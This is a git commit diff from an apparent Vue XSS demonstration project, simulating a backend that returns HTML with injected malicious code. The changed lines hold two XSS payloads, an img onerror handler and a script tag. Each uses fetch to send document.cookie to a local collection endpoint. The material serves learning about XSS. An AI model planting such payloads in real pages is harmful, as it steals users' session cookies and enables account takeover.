feat: xss模拟真实被后段注入恶意代码返回的结果

master
LCJ-MinYa 10 months ago
parent 3328004f73
commit 8307c17785

@ -17,7 +17,7 @@ export default {
setup() {
const cookie = encodeURIComponent(document.cookie);
const message = ref(
`<p>我是一段携带恶意代码的测试html标签</p><img src="../xxx.jpg" onerror="console.log('img注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=xxxx')">`
'<p>我是一段携带恶意代码的测试html标签</p><img src="../xxx.jpg" onerror="console.log(\'img注入\');fetch(\'http://localhost:3000/xss/test?cookie=encodeURIComponent(document.cookie)&userId=xxxx\')">'
);
// js
message.value += `<script>console.log('script注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=yyyy')<\/script>`;

Loading…
Cancel
Save